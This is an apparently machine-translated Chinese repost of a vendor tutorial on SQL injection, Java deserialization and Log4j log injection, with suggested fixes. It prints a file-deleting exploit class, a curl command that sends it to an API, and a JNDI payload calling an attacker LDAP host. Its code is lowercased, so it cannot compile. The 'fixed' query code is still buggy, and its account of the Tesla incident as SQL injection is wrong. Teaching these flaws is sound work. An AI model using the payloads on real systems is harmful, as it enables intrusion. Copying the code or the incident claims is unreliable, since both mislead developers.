据报道,2019 年著名游戏《堡垒之夜》中的一次著名漏洞使数百万玩家面临遭受恶意软件攻击的风险。该事件凸显了正确保护 sql 数据库安全的重要性。
但这不是一个孤立的问题。
涉及 sql 注入的多起攻击已经发生,就像特斯拉在 2018 年经历的那样。当时,另一场 sql 注入攻击影响了特斯拉的 kubernetes 控制台,导致未经授权的加密货币挖矿活动造成经济损失。
但这不仅仅是关于 sql 注入。
您的代码现在可能会遭受其他攻击媒介,就像大公司过去遭受的攻击一样。
2021 年 log4j 库中名为 log4shell 的攻击涉及日志注入攻击,迄今为止影响了全球数百万台服务器,或者 2022 年 atlassian jira 中发生的攻击涉及影响多个 jira 版本的反序列化攻击,导致全部数据丢失控制权交给攻击者。
这可能发生在任何人身上,甚至是你。
在本文中,我将讨论代码中最常见的 3 种攻击:sql 注入、反序列化注入和日志注入,以及如何解决它们。
sql注入
在数据库中存储信息的应用程序通常使用用户生成的值来检查权限、存储信息或简单地检索存储在表、文档、点、节点等中的数据。
此时,当我们的应用程序使用这些值时,不当使用可能会允许攻击者引入发送到数据库的额外查询以检索不允许的值,甚至修改这些表以获得访问权限。
以下代码根据登录页面中提供的用户名从数据库中检索用户。一切似乎都很好。
public list findusers(string user, string pass) throws exception { string query = "select userid from users " + "where username='" + user + "' and password='" + pass + "'"; statement statement = connection.createstatement(); resultset resultset = statement.executequery(query); list users = new arraylist(); while (resultset.next()) { users.add(resultset.getstring(0)); } return users; }
但是,当攻击者使用注入技术时,这段使用字符串插值的代码将导致意外结果,从而允许攻击者登录到应用程序。
为了解决这个问题,我们将这种方法从使用字符串连接更改为参数注入。事实上,就性能和安全性而言,字符串连接通常是一个坏主意。
string query = "select userid from users " + "where username='" + user + "' and password='" + pass + "'";
将 sql 字符串中直接包含的参数值更改为我们稍后可以引用的参数将解决查询被黑的问题。
string query = "select userid from users where username = ? and password = ?";
我们的固定代码将如下所示,包含preparestatement和每个参数的值设置。
public list findusers(string user, string pass) throws exception { string query = "select userid from users where username = ? and password = ?"; try (preparedstatement statement = connection.preparestatement(query)) { statement.setstring(1, user); statement.setstring(2, pass); resultset resultset = statement.executequery(query); list users = new arraylist(); while (resultset.next()) { users.add(resultset.getstring(0)); } return users; } }
可以在此处找到帮助检测 sql 注入漏洞的 sonarqube 和 sonarcloud 规则
反序列化注入
反序列化是将数据从序列化格式(如字节流、字符串或文件)转换回程序可以使用的对象或数据结构的过程。
反序列化的常见用法包括以 json 结构的形式在 api 和 web 服务之间发送数据,或者在现代应用程序中以 protobuf 消息的形式使用 rpc(远程过程调用)。
如果不实施清理或检查步骤,将消息有效负载转换为对象可能会涉及严重漏洞。
protected void doget(httpservletrequest request, httpservletresponse response) { servletinputstream servletis = request.getinputstream(); objectinputstream objectis = new objectinputstream(servletis); user user = (user) objectis.readobject(); } class user implements serializable { private static final long serialversionuid = 1l; private string name; public user(string name) { this.name = name; } public string getname() { return name; } }
我们可以在这里看到我们正在使用 objectis,这是来自请求输入流中的用户的直接值,并将其转换为新对象。
我们希望该值始终是我们的应用程序使用的类之一。当然,我们的客户永远不会发送任何其他东西,对吧?他们会吗?
但是如果恶意客户端在请求中发送另一个类怎么办?
public class exploit implements serializable { private static final long serialversionuid = 1l; public exploit() { // malicious action: delete a file try { runtime.getruntime().exec("rm -rf /tmp/vulnerable.txt"); } catch (exception e) { e.printstacktrace(); } } }
在本例中,我们有一个类在默认构造函数期间删除文件,这将在之前的 readobject 调用中发生。
攻击者只需序列化该类并将其发送到 api :
exploit exploit = new exploit(); fileoutputstream fileout = new fileoutputstream("exploit.ser"); objectoutputstream out = new objectoutputstream(fileout); out.writeobject(exploit); ... $ curl -x post --data-binary @exploit.ser http://vulnerable-api.com/user
幸运的是,有一个简单的方法可以解决这个问题。在创建对象之前,我们需要检查要反序列化的类是否来自允许的类型之一。
在上面的代码中,我们创建了一个新的 objectinputstream,其中覆盖了包含类名检查的“resolveclass”方法。我们使用这个新类 secureobjectinputstream 来获取对象流。但在将流读入对象(用户)之前,我们会进行允许列表检查。
public class secureobjectinputstream extends objectinputstream { private static final set allowed_classes = set.of(user.class.getname()); @override protected class resolveclass(objectstreamclass osc) throws ioexception, classnotfoundexception { if (!allowed_classes.contains(osc.getname())) { throw new invalidclassexception("unauthorized deserialization", osc.getname()); } return super.resolveclass(osc); } } ... public class requestprocessor { protected void doget(httpservletrequest request, httpservletresponse response) { servletinputstream servletis = request.getinputstream(); objectinputstream objectis = new secureobjectinputstream(servletis); user input = (user) objectis.readobject(); } }
可以在此处找到帮助检测反序列化注入漏洞的 sonarcloud/sonarqube 和 sonarlint 规则
记录注入
日志系统是一种软件组件或服务,旨在记录应用程序、系统或设备生成的事件、消息和其他数据。日志对于监控、故障排除、审核和分析软件和系统行为及性能至关重要。
通常,这些应用程序会记录失败、登录尝试甚至成功,以便在最终出现问题时帮助调试。
但是,它们也可能成为攻击媒介。
日志注入是一种安全漏洞,攻击者可以通过向日志文件注入恶意输入来操纵日志文件。如果日志没有得到适当的清理,可能会导致一些安全问题。
当攻击者修改日志内容以破坏日志内容或添加虚假信息以使其难以分析或破坏日志解析器时,我们可以发现诸如日志伪造和污染之类的问题,以及日志管理系统漏洞,攻击者将在其中发现日志管理系统漏洞注入日志以利用日志管理系统中的漏洞,导致进一步的攻击,例如远程代码执行。
让我们考虑下面的代码,我们从用户那里获取一个值并记录它。
public void doget(httpservletrequest request, httpservletresponse response) { string user = request.getparameter("user"); if (user != null){ logger.log(level.info, "user: {0} login in", user); } }
看起来无害,对吧?
但是如果攻击者尝试使用该用户登录怎么办?
john login inn2024-08-19 12:34:56 info user 'admin' login in
这显然是一个错误的用户名,并且会失败。但是,它会被记录下来,检查日志的人会感到非常困惑
2024-08-19 12:34:56 info user 'john' login in 2024-08-19 12:34:56 error user 'admin' login in
或者更糟!如果攻击者知道系统使用的是未修补的 log4j 版本,他们可以以用户身份发送以下值,系统将遭受远程执行。攻击者控制的 ldap 服务器通过对远程服务器上托管的恶意 java 类的引用进行响应。易受攻击的应用程序下载并执行此类,从而使攻击者能够控制服务器。
$ { jndi:ldap://malicious-server.com/a}
但是我们可以轻松预防这些问题。
清理要记录的值对于避免日志伪造漏洞非常重要,因为它可能导致用户伪造的输出混乱。
// log the sanitised username string user = sanitiseinput(request.getparameter("user")); } private string sanitiseinput(string input) { // replace newline and carriage return characters with a safe placeholder if (input != null) { input = input.replaceall("[\n\r]", "_"); } return input; }
我们将在日志中看到的结果如下,现在可以更轻松地看到所有日志都属于对日志系统的同一调用。
2024-08-19 12:34:56 info user 'john' login in_2024-08-19 12:34:56 error user 'admin' login in
为了防止日志系统被利用,尽可能将我们的库更新到最新的稳定版本非常重要。对于 log4j,该修复将禁用该功能。我们还可以手动禁用 jndi。
-dlog4j2.formatmsgnolookups=true
如果您仍然需要使用 jndi,那么只需根据允许的目的地列表检查目的地,常见的清理过程就可以避免恶意攻击。
public class allowedlistjndicontextfactory implements initialcontextfactory { // define your list of allowed jndi urls private static final list allowed_jndi_prefixes = arrays.aslist( "ldap://trusted-server.com", "ldaps://secure-server.com" ); @override public context getinitialcontext(hashtable environment) throws namingexception { string providerurl = (string) environment.get(context.provider_url); if (isallowed(providerurl)) { return new initialcontext(environment); } else { throw new namingexception("jndi lookup " + providerurl + " not allowed"); } } private boolean isallowed(string url) { if (url == null) { return false; } for (string allowedprefix : allowed_jndi_prefixes) { if (url.startswith(allowedprefix)) { return true; } } return false; } }
并配置我们的系统以使用过滤上下文工厂。
-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory
可以在此处找到帮助检测日志注入漏洞的 sonarcloud/sonarqube 和 sonarlint 规则
结论
安全漏洞不仅仅是理论上的问题,而是已经影响到大公司的实际威胁,导致重大的财务和声誉损失。
从 sql 注入到反序列化和日志记录注入,这些攻击媒介非常普遍,如果处理不当,很容易利用不安全的代码。
通过了解这些漏洞的性质并实施建议的修复程序,例如使用参数化查询、避免不安全的反序列化实践以及正确保护日志框架,开发人员可以显着降低这些攻击的风险。
主动的安全措施对于保护您的应用程序免遭这些广泛且具有破坏性的攻击的下一个受害者至关重要。
sonar 提供免费开源工具,例如 sonarlint、sonarqube 和 sonarcloud,可以检测、警告所有这些漏洞并提出修复建议。
以上就是目前隐藏在代码中的主要安全缺陷 - 以及如何修复它们的详细内容,更多请关注php中文网其它相关文章!